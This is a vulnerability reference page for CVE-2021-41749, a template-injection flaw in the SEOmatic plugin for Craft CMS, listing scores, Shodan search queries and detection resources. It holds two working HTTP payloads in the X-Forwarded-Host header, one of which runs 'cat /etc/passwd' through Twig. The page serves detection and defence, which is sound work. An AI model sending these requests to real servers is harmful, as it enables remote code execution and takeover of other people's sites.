🔙 목록으로 돌아가기

CVE-2021-41749: CraftCMS SEOmatic - Server-Side Template Injection

TitleCraftCMS SEOmatic - Server-Side Template Injection
Authoriamnoooob,ritikchaddha
SeverityCritical
ImpactUnauthenticated attackers can exploit SSTI via X-Forwarded-Host header to execute arbitrary Twig templates and system commands, achieving complete server compromise.
RemediationUpgrade to CraftCMS SEOmatic version 3.4.12 or later.
CVSS Score9.8
EPSS Score0.85815
CVE IDCVE-2021-41749
CWE IDCWE-94
Shodan QueryX-Powered-By: Craft CMS html:"SEOmatic"x-powered-by: craft cmsx-powered-by: craft cms html:"seomatic"
Tags cve2021 cve craftcms cms ssti nystudio107 craft_cms vuln

🔍 Vulnerability Description

In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Cache-Control: max-age=0
X-Forwarded-Host: www.victim.com/malicious\{\{43229*40812}}
Accept-Encoding: gzip
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
X-Forwarded-Host: xxx\{\{['cat /etc/passwd']|filter('system')}}bbb
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41749.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41749.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A